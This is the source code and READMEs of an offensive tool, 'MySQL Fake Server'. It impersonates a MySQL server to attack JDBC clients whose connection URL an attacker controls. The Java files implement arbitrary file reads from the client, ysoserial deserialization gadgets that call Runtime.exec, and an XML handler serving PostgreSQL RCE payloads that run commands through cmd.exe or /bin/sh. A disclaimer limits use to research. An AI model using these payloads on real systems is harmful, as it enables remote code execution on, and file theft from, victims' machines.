This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance. 35 | * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior 36 | * using the serialized object.

37 | * 38 | * Potential false negative: 39 | *

If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the 40 | * second resolution.

41 | */ 42 | static class SilentURLStreamHandler extends URLStreamHandler { 43 | 44 | protected URLConnection openConnection(URL u) throws IOException { 45 | return null; 46 | } 47 | 48 | protected synchronized InetAddress getHostAddress(URL u) { 49 | return null; 50 | } 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MySQL Fake Server 2 | 3 | ![](https://img.shields.io/badge/build-passing-brightgreen) 4 | ![](https://img.shields.io/badge/build-Java%208-orange) 5 | ![](https://img.shields.io/github/downloads/4ra1n/mysql-fake-server/total) 6 | ![](https://img.shields.io/github/v/release/4ra1n/mysql-fake-server) 7 | 8 | [English Version](doc/README.md) 9 | 10 | ## 0x00 介绍 11 | 12 | 该项目是 [MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server) 高级版 13 | 14 | 当`JDBC URL`可控时,特殊的`MySQL`服务端可以读取`JDBC`客户端任意文件或执行反序列化操作 15 | 16 | 完全使用`Java`实现部分`MySQL`协议,内置常见`ysoserial`链,一键启动,自动生成可用的`payload`用于测试 17 | 18 | 参考 [MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server) 项目,`payload`从`user`参数传递。反序列化应以`deser_` 19 | 开头,规则为`deser_[gadget]_[cmd]`;文件读取以`fileread_`开头,规则为`fileread_[name]` 20 | 21 | 由于某些文件名或命令存在特殊字符,支持使用`base64`传递方式,方式为原有`user`基础上进行`base64`并以`base64` 22 | 开头,例如`user=deser_CB_calc.exe`等于`user=base64ZGVzZXJfQ0JfY2FsYy5leGU=` 23 | 24 | 默认文件保存在当前目录的`fake-server-files`下的当前时间戳目录内(自动创建目录) 25 | 26 | 注意:读文件功能遇到没有没有完整读取的情况,重新尝试即可完整读取 27 | 28 | 自从 `0.0.3` 版本以后支持了自定义反序列化 `gadget` 功能 29 | 30 | ![](img/004.png) 31 | 32 | 自从 `0.0.4` 版本以后支持了 `PostgreSQL RCE` 33 | 34 | ![](img/005.png) 35 | 36 | 自从 `0.0.4` 版本以后支持了 `Apache Derby` 基于 `Slave` 的 RCE 37 | 38 | ![](img/006.png) 39 | 40 | 41 | ## 0x01 GUI 42 | 43 | 使用`GUI`版本一键启动,启动后可以根据自己的环境输入参数,生成`payload` 44 | 45 | 启动:`java -jar fake-mysql-gui.jar` 46 | 47 | ![](img/001.png) 48 | 49 | ## 0x02 CLI 50 | 51 | 当你的环境不允许使用`GUI`版时,可以使用命令行版启动,同样可以使用`GUI`辅助生成`payload` 52 | 53 | 启动:`java -jar fake-mysql-cli.jar -p [port]` 54 | 55 | ![](img/002.png) 56 | 57 | ## 0x03 Docker 58 | 59 | 构建:`docker build -t fake-mysql-server .` 60 | 61 | 启动:`docker run -p 3306:3306 -d fake-mysql-server` 62 | 63 | ![](img/003.png) 64 | 65 | ## 0x05 其他 66 | 67 | 怎样测试: 68 | 69 | ```java 70 | String url = "jdbc:mysql://..."; 71 | try { 72 | Class.forName("com.mysql.jdbc.Driver"); 73 | // Class.forName("com.mysql.cj.jdbc.Driver"); 74 | DriverManager.getConnection(url); 75 | } catch (Exception e) { 76 | e.printStackTrace(); 77 | } 78 | ``` 79 | 80 | ## 0x06 免责申明 81 | 82 | 本项目仅面向安全研究与学习,禁止任何非法用途 83 | 84 | 如您在使用本项目的过程中存在任何非法行为,您需自行承担相应后果 85 | 86 | 除非您已充分阅读、完全理解并接受本协议,否则,请您不要使用本项目 87 | 88 | ## 0x07 致谢与参考 89 | 90 | - https://github.com/frohoff/ysoserial 91 | - https://github.com/fnmsd/MySQL_Fake_Server 92 | - https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ 93 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/MySQLServer.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.log.LogUtil; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | 7 | import java.io.IOException; 8 | import java.net.InetAddress; 9 | import java.net.ServerSocket; 10 | import java.net.Socket; 11 | 12 | public class MySQLServer { 13 | private final static Logger log = LogManager.getLogger(MySQLServer.class); 14 | private static int port = 3308; 15 | private static String ip = "0.0.0.0"; 16 | private static volatile boolean isRunning = true; 17 | 18 | public static int getPort() { 19 | return port; 20 | } 21 | 22 | public static void setPort(int port) { 23 | MySQLServer.port = port; 24 | } 25 | 26 | public static void stop() { 27 | isRunning = false; 28 | } 29 | 30 | public static void unsetStop() { 31 | isRunning = true; 32 | } 33 | 34 | public static void setIp(String ip) { 35 | MySQLServer.ip = ip; 36 | } 37 | 38 | public static void main(String[] args) { 39 | StartServer(); 40 | } 41 | 42 | public static void StartServer() { 43 | log.info("start fake mysql server: {}:{}", ip, port); 44 | LogUtil.log(String.format("start fake mysql server: %s:%s", ip, port)); 45 | ServerSocket serverSocket = null; 46 | try { 47 | serverSocket = new ServerSocket(port, 0, InetAddress.getByName(ip)); 48 | while (isRunning) { 49 | Socket clientSocket = serverSocket.accept(); 50 | log.info("accept: {}", clientSocket.getInetAddress().getHostAddress()); 51 | LogUtil.log("accept: " + clientSocket.getInetAddress().getHostAddress()); 52 | new Thread(() -> { 53 | try { 54 | new TaskStarter().run(clientSocket); 55 | } catch (Exception ignored) { 56 | } 57 | }).start(); 58 | } 59 | log.info("exit..."); 60 | } catch (IOException e) { 61 | log.error("start server error: {}", e.toString()); 62 | } 63 | try { 64 | if (serverSocket != null) { 65 | serverSocket.close(); 66 | } 67 | } catch (Exception ex) { 68 | log.error("start server error: {}", ex.toString()); 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/Reflections.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import sun.reflect.ReflectionFactory; 4 | 5 | import java.lang.reflect.AccessibleObject; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | 10 | @SuppressWarnings("unused") 11 | public class Reflections { 12 | 13 | public static void setAccessible(AccessibleObject member) { 14 | member.setAccessible(true); 15 | } 16 | 17 | public static Field getField(final Class clazz, final String fieldName) { 18 | Field field = null; 19 | try { 20 | field = clazz.getDeclaredField(fieldName); 21 | setAccessible(field); 22 | } catch (NoSuchFieldException ex) { 23 | if (clazz.getSuperclass() != null) 24 | field = getField(clazz.getSuperclass(), fieldName); 25 | } 26 | return field; 27 | } 28 | 29 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 30 | final Field field = getField(obj.getClass(), fieldName); 31 | field.set(obj, value); 32 | } 33 | 34 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 35 | final Field field = getField(obj.getClass(), fieldName); 36 | return field.get(obj); 37 | } 38 | 39 | public static Constructor getFirstCtor(final String name) throws Exception { 40 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 41 | setAccessible(ctor); 42 | return ctor; 43 | } 44 | 45 | public static Object newInstance(String className, Object... args) throws Exception { 46 | return getFirstCtor(className).newInstance(args); 47 | } 48 | 49 | public static T createWithoutConstructor(Class classToInstantiate) 50 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 51 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 52 | } 53 | 54 | @SuppressWarnings({"unchecked"}) 55 | public static T createWithConstructor(Class classToInstantiate, 56 | Class constructorClass, Class[] consArgTypes, Object[] consArgs) 57 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 58 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 59 | setAccessible(objCons); 60 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 61 | setAccessible(sc); 62 | return (T) sc.newInstance(consArgs); 63 | } 64 | 65 | } -------------------------------------------------------------------------------- /pgsql-xml-server/src/main/java/me/n1ar4/fake/pgsql/XmlHandler.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.pgsql; 2 | 3 | import com.sun.net.httpserver.HttpExchange; 4 | import com.sun.net.httpserver.HttpHandler; 5 | 6 | import java.io.IOException; 7 | import java.io.OutputStream; 8 | 9 | public class XmlHandler implements HttpHandler { 10 | private static final String winPayload = "\n" + 14 | " \n" + 15 | " \n" + 16 | " \n" + 17 | " cmd.exe\n" + 18 | " /c\n" + 19 | " __cmd__\n" + 20 | " \n" + 21 | " \n" + 22 | " \n" + 23 | ""; 24 | private static final String linuxPayload = "\n" + 28 | " \n" + 29 | " \n" + 30 | " \n" + 31 | " /bin/sh\n" + 32 | " -c\n" + 33 | " __cmd__\n" + 34 | " \n" + 35 | " \n" + 36 | " \n" + 37 | ""; 38 | 39 | private static String command; 40 | private static String payload; 41 | 42 | public XmlHandler(String targetOS, String cmd) { 43 | command = cmd; 44 | if (targetOS.toLowerCase().contains("windows")) { 45 | payload = winPayload; 46 | } else { 47 | payload = linuxPayload; 48 | } 49 | } 50 | 51 | @Override 52 | public void handle(HttpExchange exchange) throws IOException { 53 | exchange.getResponseHeaders().set("Content-Type", "application/xml"); 54 | exchange.getResponseHeaders().set("Access-Control-Allow-Origin", "*"); 55 | exchange.sendResponseHeaders(200, 0); 56 | String xml = payload.replaceAll("__cmd__", command); 57 | OutputStream responseBody = exchange.getResponseBody(); 58 | responseBody.write(xml.getBytes()); 59 | responseBody.close(); 60 | } 61 | } -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/ColumnPacket.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.proto.utils.LenUtil; 4 | 5 | import java.util.ArrayList; 6 | import java.util.List; 7 | 8 | public class ColumnPacket { 9 | public static byte[] buildColumnValuesPacket(byte[][] values) { 10 | List finalValues = new ArrayList<>(); 11 | for (byte[] value : values) { 12 | byte[] encodedValue = strEncode(value); 13 | finalValues.addAll(bytesToList(encodedValue)); 14 | } 15 | return listToBytes(finalValues); 16 | } 17 | 18 | public static byte[] buildColumnPacket(String column) { 19 | byte[] def = strEncode("def".getBytes()); 20 | List packet = new ArrayList<>(bytesToList(def)); 21 | packet.add((byte) 0x00); 22 | byte[] table = strEncode("a".getBytes()); 23 | packet.addAll(bytesToList(table)); 24 | byte[] orgTable = strEncode("a".getBytes()); 25 | packet.addAll(bytesToList(orgTable)); 26 | byte[] name = strEncode(column.getBytes()); 27 | packet.addAll(bytesToList(name)); 28 | packet.addAll(bytesToList(name)); 29 | packet.add((byte) 0x0c); 30 | packet.add((byte) 0x3f); 31 | packet.add((byte) 0x00); 32 | packet.add((byte) 0x1c); 33 | packet.add((byte) 0x00); 34 | packet.add((byte) 0x00); 35 | packet.add((byte) 0x00); 36 | packet.add((byte) 0xfc); 37 | packet.add((byte) 0xff); 38 | packet.add((byte) 0xff); 39 | packet.add((byte) 0x00); 40 | packet.add((byte) 0x00); 41 | packet.add((byte) 0x00); 42 | return listToBytes(packet); 43 | } 44 | 45 | public static byte[] strEncode(byte[] d) { 46 | byte[] l = LenUtil.write(d.length); 47 | String packetHex = bytesToHex(l) + bytesToHex(d); 48 | return hexToBytes(packetHex); 49 | } 50 | 51 | public static String bytesToHex(byte[] bytes) { 52 | StringBuilder sb = new StringBuilder(); 53 | for (byte b : bytes) { 54 | sb.append(String.format("%02X", b)); 55 | } 56 | return sb.toString(); 57 | } 58 | 59 | public static byte[] hexToBytes(String hex) { 60 | int len = hex.length(); 61 | byte[] data = new byte[len / 2]; 62 | for (int i = 0; i < len; i += 2) { 63 | data[i / 2] = (byte) ((Character.digit(hex.charAt(i), 16) << 4) 64 | + Character.digit(hex.charAt(i + 1), 16)); 65 | } 66 | return data; 67 | } 68 | 69 | public static List bytesToList(byte[] bytes) { 70 | List list = new ArrayList<>(); 71 | for (byte b : bytes) { 72 | list.add(b); 73 | } 74 | return list; 75 | } 76 | 77 | public static byte[] listToBytes(List list) { 78 | byte[] bytes = new byte[list.size()]; 79 | for (int i = 0; i < list.size(); i++) { 80 | bytes[i] = list.get(i); 81 | } 82 | return bytes; 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /fake-mysql-gadget/src/main/java/me/n1ar4/fake/gadget/CC31.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.gadget; 2 | 3 | import org.apache.commons.collections.Transformer; 4 | import org.apache.commons.collections.functors.ChainedTransformer; 5 | import org.apache.commons.collections.functors.ConstantTransformer; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | 10 | import java.lang.reflect.Field; 11 | import java.util.HashMap; 12 | import java.util.HashSet; 13 | import java.util.Map; 14 | 15 | @SuppressWarnings("all") 16 | public class CC31 { 17 | public static void main(final String[] args) throws Exception { 18 | CC31 c = new CC31(); 19 | Object o = c.getObject("calc.exe"); 20 | SerUtil.deserializeObject(SerUtil.serializeObject(o)); 21 | } 22 | 23 | public Object getObject(final String command) throws Exception { 24 | 25 | final String[] execArgs = new String[]{command}; 26 | 27 | final Transformer[] transformers = new Transformer[]{ 28 | new ConstantTransformer(Runtime.class), 29 | new InvokerTransformer("getMethod", new Class[]{ 30 | String.class, Class[].class}, new Object[]{ 31 | "getRuntime", new Class[0]}), 32 | new InvokerTransformer("invoke", new Class[]{ 33 | Object.class, Object[].class}, new Object[]{ 34 | null, new Object[0]}), 35 | new InvokerTransformer("exec", 36 | new Class[]{String.class}, execArgs), 37 | new ConstantTransformer(1)}; 38 | 39 | Transformer transformerChain = new ChainedTransformer(transformers); 40 | 41 | final Map innerMap = new HashMap(); 42 | 43 | final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); 44 | 45 | TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); 46 | 47 | HashSet map = new HashSet(1); 48 | map.add("foo"); 49 | Field f = null; 50 | try { 51 | f = HashSet.class.getDeclaredField("map"); 52 | } catch (NoSuchFieldException e) { 53 | f = HashSet.class.getDeclaredField("backingMap"); 54 | } 55 | 56 | Reflections.setAccessible(f); 57 | HashMap innimpl = (HashMap) f.get(map); 58 | 59 | Field f2 = null; 60 | try { 61 | f2 = HashMap.class.getDeclaredField("table"); 62 | } catch (NoSuchFieldException e) { 63 | f2 = HashMap.class.getDeclaredField("elementData"); 64 | } 65 | 66 | Reflections.setAccessible(f2); 67 | Object[] array = (Object[]) f2.get(innimpl); 68 | 69 | Object node = array[0]; 70 | if (node == null) { 71 | node = array[1]; 72 | } 73 | 74 | Field keyField = null; 75 | try { 76 | keyField = node.getClass().getDeclaredField("key"); 77 | } catch (Exception e) { 78 | keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); 79 | } 80 | 81 | Reflections.setAccessible(keyField); 82 | keyField.set(node, entry); 83 | 84 | return map; 85 | 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /fake-mysql-cli/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql-cli 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | com.beust 23 | jcommander 24 | 25 | 26 | me.n1ar4 27 | fake-mysql-proto 28 | 0.0.4 29 | 30 | 31 | me.n1ar4 32 | fake-mysql-gui 33 | 0.0.4 34 | 35 | 36 | 37 | 38 | 39 | 40 | org.apache.maven.plugins 41 | maven-resources-plugin 42 | 43 | 44 | org.apache.maven.plugins 45 | maven-assembly-plugin 46 | 47 | 48 | build-cli 49 | 50 | false 51 | false 52 | 53 | 54 | me.n1ar4.fake.cli.Cli 55 | 56 | 57 | 58 | jar-with-dependencies 59 | 60 | ${project.artifactId}-${project.version} 61 | ../ 62 | 63 | package 64 | 65 | single 66 | 67 | 68 | 69 | 70 | 71 | org.apache.maven.plugins 72 | maven-compiler-plugin 73 | 74 | ${maven.compiler.source} 75 | ${maven.compiler.target} 76 | 77 | -Xlint:none 78 | 79 | 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/VariablesResolver.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.proto.constant.Resp; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | 7 | import java.io.OutputStream; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | import java.util.Objects; 11 | 12 | public class VariablesResolver implements Resolver { 13 | private static final Logger log = LogManager.getLogger(VariablesResolver.class); 14 | 15 | private final OutputStream outputStream; 16 | 17 | public VariablesResolver(OutputStream outputStream) { 18 | this.outputStream = outputStream; 19 | } 20 | 21 | public void resolve() { 22 | try { 23 | byte[] first = PacketHelper.buildPacket(1, new byte[]{(byte) 0x02}); 24 | if (first == null) { 25 | log.error("build packet error"); 26 | return; 27 | } 28 | outputStream.write(first); 29 | outputStream.flush(); 30 | 31 | List columns = new ArrayList<>(); 32 | columns.addAll(ColumnPacket.bytesToList( 33 | Objects.requireNonNull(PacketHelper.buildPacket(2, 34 | ColumnPacket.buildColumnPacket("d"))))); 35 | columns.addAll(ColumnPacket.bytesToList( 36 | Objects.requireNonNull(PacketHelper.buildPacket(3, 37 | ColumnPacket.buildColumnPacket("e"))))); 38 | outputStream.write(ColumnPacket.listToBytes(columns)); 39 | outputStream.flush(); 40 | 41 | outputStream.write(Objects.requireNonNull( 42 | PacketHelper.buildPacket(5, Resp.EOF))); 43 | outputStream.flush(); 44 | 45 | outputStream.write(Objects.requireNonNull(PacketHelper.buildPacket(6, 46 | ColumnPacket.buildColumnValuesPacket( 47 | new byte[][]{"max_allowed_packet".getBytes(), "67108864".getBytes()} 48 | )))); 49 | outputStream.flush(); 50 | 51 | outputStream.write(Objects.requireNonNull(PacketHelper.buildPacket(7, 52 | ColumnPacket.buildColumnValuesPacket( 53 | new byte[][]{"system_time_zone".getBytes(), "UTC".getBytes()} 54 | )))); 55 | outputStream.flush(); 56 | 57 | outputStream.write(Objects.requireNonNull(PacketHelper.buildPacket(8, 58 | ColumnPacket.buildColumnValuesPacket( 59 | new byte[][]{"time_zone".getBytes(), "SYSTEM".getBytes()} 60 | )))); 61 | outputStream.flush(); 62 | 63 | outputStream.write(Objects.requireNonNull(PacketHelper.buildPacket(9, 64 | ColumnPacket.buildColumnValuesPacket( 65 | new byte[][]{"init_connect".getBytes(), "".getBytes()} 66 | )))); 67 | outputStream.flush(); 68 | 69 | outputStream.write(Objects.requireNonNull(PacketHelper.buildPacket(10, 70 | ColumnPacket.buildColumnValuesPacket( 71 | new byte[][]{"auto_increment_increment".getBytes(), "1".getBytes()} 72 | )))); 73 | outputStream.flush(); 74 | 75 | outputStream.write(Objects.requireNonNull( 76 | PacketHelper.buildPacket(11, Resp.EOF))); 77 | outputStream.flush(); 78 | } catch (Exception ex) { 79 | ex.printStackTrace(); 80 | } 81 | } 82 | } 83 | -------------------------------------------------------------------------------- /doc/README.md: -------------------------------------------------------------------------------- 1 | # MySQL Fake Server 2 | 3 | ![](https://img.shields.io/badge/build-passing-brightgreen) 4 | ![](https://img.shields.io/badge/build-Java%208-orange) 5 | ![](https://img.shields.io/github/downloads/4ra1n/mysql-fake-server/total) 6 | ![](https://img.shields.io/github/v/release/4ra1n/mysql-fake-server) 7 | 8 | ## 0x00 Introduction 9 | 10 | This project is an advanced version of [MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server). 11 | 12 | When the `JDBC URL` is controllable, a special `MySQL` server can read any file or perform deserialization operations on 13 | the `JDBC` client. 14 | 15 | The `MySQL` protocol is partially implemented entirely using `Java`, with built-in common `ysoserial` chains, one-click 16 | launch, and automatic generation of usable payloads for testing. 17 | 18 | Refer to the [MySQL_Fake_Server](https://github.com/fnmsd/MySQL_Fake_Server) project, the `payload` is transmitted from 19 | the `user` parameter. The deserialization operation should start with `deser_`, and the rule is `deser_[gadget]_[cmd]`. 20 | The file reading should start with `fileread_`, and the rule is `fileread_[name]`. 21 | 22 | Due to the existence of special characters in some file names or commands, it is possible to use the `base64` 23 | transmission method, which is based on the original `user` and followed by `base64` after `base64`, such 24 | as `user=deser_CB_calc.exe` is equal to `user=base64ZGVzZXJfQ0JfY2FsYy5leGU=`. 25 | 26 | By default, the files are saved in the directory named after the current timestamp under the `fake-server-files` 27 | directory in the current directory (the directory is automatically created). 28 | 29 | Note: When reading files, if there is incomplete reading, try again to get a complete reading. 30 | 31 | Since `0.0.3` version, we support use custom `gadget` function 32 | 33 | ![](../img/004.png) 34 | 35 | Since `0.0.4` version support `PostgreSQL RCE` 36 | 37 | ![](../img/005.png) 38 | 39 | Since `0.0.4` version support `Apache Derby Slave` RCE 40 | 41 | ![](../img/006.png) 42 | 43 | 44 | ## 0x01 GUI 45 | 46 | Use the `GUI` version to start with one click. After starting, you can enter parameters according to your environment to 47 | generate a payload. 48 | 49 | Launch: `java -jar fake-mysql-gui.jar` 50 | 51 | ![](../img/001.png) 52 | 53 | ## 0x02 CLI 54 | 55 | When your environment does not allow the use of the `GUI` version, you can use the command line version to start, and 56 | also use the `GUI` to generate a payload. 57 | 58 | Launch: `java -jar fake-mysql-cli.jar -p [port]` 59 | 60 | ![](../img/002.png) 61 | 62 | ## 0x03 Docker 63 | 64 | Build: `docker build -t fake-mysql-server .` 65 | 66 | Launch: `docker run -p 3306:3306 -d fake-mysql-server` 67 | 68 | ![](../img/003.png) 69 | 70 | ## 0x05 Others 71 | 72 | How to test: 73 | 74 | ```java 75 | String url = "jdbc:mysql://..."; 76 | try { 77 | Class.forName("com.mysql.jdbc.Driver"); 78 | // Class.forName("com.mysql.cj.jdbc.Driver"); 79 | DriverManager.getConnection(url); 80 | } catch (Exception e) { 81 | e.printStackTrace(); 82 | } 83 | ``` 84 | 85 | ## 0x06 Disclaimer 86 | 87 | This project is only for security research and learning purposes. Any illegal use is prohibited. 88 | 89 | If you engage in any illegal behavior during the use of this project, you will be responsible for the consequences. 90 | 91 | Unless you have fully read, completely understood, and accepted this agreement, please do not use this project. 92 | 93 | ## 0x07 Acknowledgments and References 94 | 95 | - https://github.com/frohoff/ysoserial 96 | - https://github.com/fnmsd/MySQL_Fake_Server 97 | - https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/ -------------------------------------------------------------------------------- /fake-mysql-gui/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | me.n1ar4 8 | FakeServer 9 | 0.0.4 10 | 11 | 12 | fake-mysql-gui 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | 22 | com.intellij 23 | forms_rt 24 | 25 | 26 | com.formdev 27 | flatlaf 28 | 29 | 30 | me.n1ar4 31 | fake-mysql-log 32 | 0.0.4 33 | 34 | 35 | me.n1ar4 36 | fake-mysql-proto 37 | 0.0.4 38 | 39 | 40 | me.n1ar4 41 | pgsql-xml-server 42 | 0.0.4 43 | compile 44 | 45 | 46 | me.n1ar4 47 | derby-evil-server 48 | 0.0.4 49 | compile 50 | 51 | 52 | 53 | 54 | 55 | 56 | org.apache.maven.plugins 57 | maven-resources-plugin 58 | 59 | 60 | org.apache.maven.plugins 61 | maven-assembly-plugin 62 | 63 | 64 | build-gui 65 | 66 | false 67 | false 68 | 69 | 70 | me.n1ar4.fake.gui.Application 71 | 72 | 73 | 74 | jar-with-dependencies 75 | 76 | ${project.artifactId}-${project.version} 77 | ../ 78 | 79 | package 80 | 81 | single 82 | 83 | 84 | 85 | 86 | 87 | org.apache.maven.plugins 88 | maven-compiler-plugin 89 | 90 | ${maven.compiler.source} 91 | ${maven.compiler.target} 92 | 93 | -Xlint:none 94 | 95 | 96 | 97 | 98 | 99 | 100 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/ReadFileResolver.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.proto.constant.Resp; 4 | import org.apache.logging.log4j.LogManager; 5 | import org.apache.logging.log4j.Logger; 6 | 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.File; 9 | import java.io.InputStream; 10 | import java.io.OutputStream; 11 | import java.nio.ByteBuffer; 12 | import java.nio.ByteOrder; 13 | import java.nio.file.Files; 14 | import java.nio.file.Path; 15 | import java.nio.file.Paths; 16 | import java.util.Objects; 17 | 18 | public class ReadFileResolver implements Resolver { 19 | private static final Logger log = LogManager.getLogger(ReadFileResolver.class); 20 | private final OutputStream outputStream; 21 | private final InputStream inputStream; 22 | private final String username; 23 | 24 | public ReadFileResolver(InputStream inputStream, 25 | OutputStream outputStream, 26 | String username) { 27 | this.inputStream = inputStream; 28 | this.outputStream = outputStream; 29 | this.username = username; 30 | } 31 | 32 | @Override 33 | public void resolve() { 34 | try { 35 | if (!username.startsWith("fileread_")) { 36 | return; 37 | } 38 | String[] sps = username.split("_"); 39 | if (sps.length < 2) { 40 | return; 41 | } 42 | 43 | StringBuilder builder = new StringBuilder(); 44 | for (int i = 1; i < sps.length; i++) { 45 | builder.append(sps[i]); 46 | if (i != sps.length - 1) { 47 | builder.append("_"); 48 | } 49 | } 50 | String filename = builder.toString(); 51 | 52 | File file = new File(filename); 53 | String shortName = file.getName(); 54 | 55 | ByteArrayOutputStream bao = new ByteArrayOutputStream(); 56 | bao.write((byte) 0xfb); 57 | log.info("read file: {}", filename); 58 | bao.write(filename.getBytes()); 59 | outputStream.write(Objects.requireNonNull( 60 | PacketHelper.buildPacket(1, bao.toByteArray()))); 61 | outputStream.flush(); 62 | 63 | OutputStream fos = null; 64 | try { 65 | String current = String.valueOf(System.currentTimeMillis()); 66 | Path dir = Paths.get("fake-server-files"); 67 | Files.createDirectories(dir); 68 | Path finalDir = Paths.get(dir.toFile().getAbsolutePath(), current); 69 | Files.createDirectories(finalDir); 70 | Path finalFile = Paths.get(dir.toFile().getAbsolutePath(), current, shortName); 71 | Files.createFile(finalFile); 72 | fos = Files.newOutputStream(finalFile); 73 | } catch (Exception ex) { 74 | log.warn(ex.getMessage()); 75 | } 76 | if (fos == null) { 77 | return; 78 | } 79 | byte[] buffer = new byte[4]; 80 | int bytesRead; 81 | while ((bytesRead = inputStream.read(buffer)) != -1) { 82 | if (bytesRead != 4) { 83 | log.warn("read header error"); 84 | continue; 85 | } 86 | ByteBuffer bb = ByteBuffer.wrap(buffer); 87 | bb.order(ByteOrder.LITTLE_ENDIAN); 88 | short l1 = bb.getShort(); 89 | byte l2 = bb.get(); 90 | int l = l1 & 0xFFFF | (l2 & 0xFF) << 16; 91 | 92 | if (l == 0) { 93 | log.warn("file is null"); 94 | break; 95 | } 96 | 97 | byte[] inner = new byte[l]; 98 | int innerRead = inputStream.read(inner, 0, l); 99 | fos.write(inner, 0, innerRead); 100 | fos.flush(); 101 | log.info("write success: {}", l); 102 | } 103 | log.info("read file finish"); 104 | fos.close(); 105 | 106 | outputStream.write(Objects.requireNonNull( 107 | PacketHelper.buildPacket(2, Resp.OK))); 108 | outputStream.flush(); 109 | } catch (Exception ex) { 110 | ex.printStackTrace(); 111 | } 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /fake-mysql-proto/src/main/java/me/n1ar4/fake/proto/TaskStarter.java: -------------------------------------------------------------------------------- 1 | package me.n1ar4.fake.proto; 2 | 3 | import me.n1ar4.fake.log.LogUtil; 4 | import me.n1ar4.fake.proto.constant.Resp; 5 | import org.apache.logging.log4j.LogManager; 6 | import org.apache.logging.log4j.Logger; 7 | 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.net.Socket; 11 | import java.util.Base64; 12 | import java.util.Objects; 13 | 14 | public class TaskStarter { 15 | private static final Logger log = LogManager.getLogger(TaskStarter.class); 16 | 17 | public void run(Socket clientSocket) throws Exception { 18 | InputStream inputStream = clientSocket.getInputStream(); 19 | OutputStream outputStream = clientSocket.getOutputStream(); 20 | 21 | byte[] greet = new GreetingMessage().getBytes(); 22 | byte[] finalPacket = PacketHelper.buildPacket(0, greet); 23 | log.info("send greeting from server"); 24 | LogUtil.log("send greeting from server"); 25 | outputStream.write(Objects.requireNonNull(finalPacket)); 26 | outputStream.flush(); 27 | 28 | byte[] data = PacketHelper.readData(inputStream); 29 | FirstRespMessage frf = new FirstRespMessage(); 30 | frf.setData(data); 31 | log.info("username: {}", frf.getUsername()); 32 | LogUtil.log("username: " + frf.getUsername()); 33 | 34 | data = PacketHelper.buildPacket(2, Resp.OK); 35 | outputStream.write(Objects.requireNonNull(data)); 36 | outputStream.flush(); 37 | 38 | String mysqlVersion = null; 39 | while (true) { 40 | try { 41 | data = PacketHelper.readData(inputStream); 42 | if (data.length == 0) { 43 | break; 44 | } 45 | RequestDecoder r = new RequestDecoder(data); 46 | if (r.getCommand() == 0) { 47 | break; 48 | } 49 | 50 | String username; 51 | if (frf.getUsername().startsWith("base64")) { 52 | String baseData = frf.getUsername().substring(6); 53 | username = new String(Base64.getDecoder().decode(baseData)); 54 | log.info("decode: {}", username); 55 | LogUtil.log("decode: " + username); 56 | } else { 57 | username = frf.getUsername(); 58 | } 59 | 60 | if (username.startsWith("fileread_")) { 61 | log.info("mode: file read"); 62 | LogUtil.log("mode: file read"); 63 | ReadFileResolver rResolver 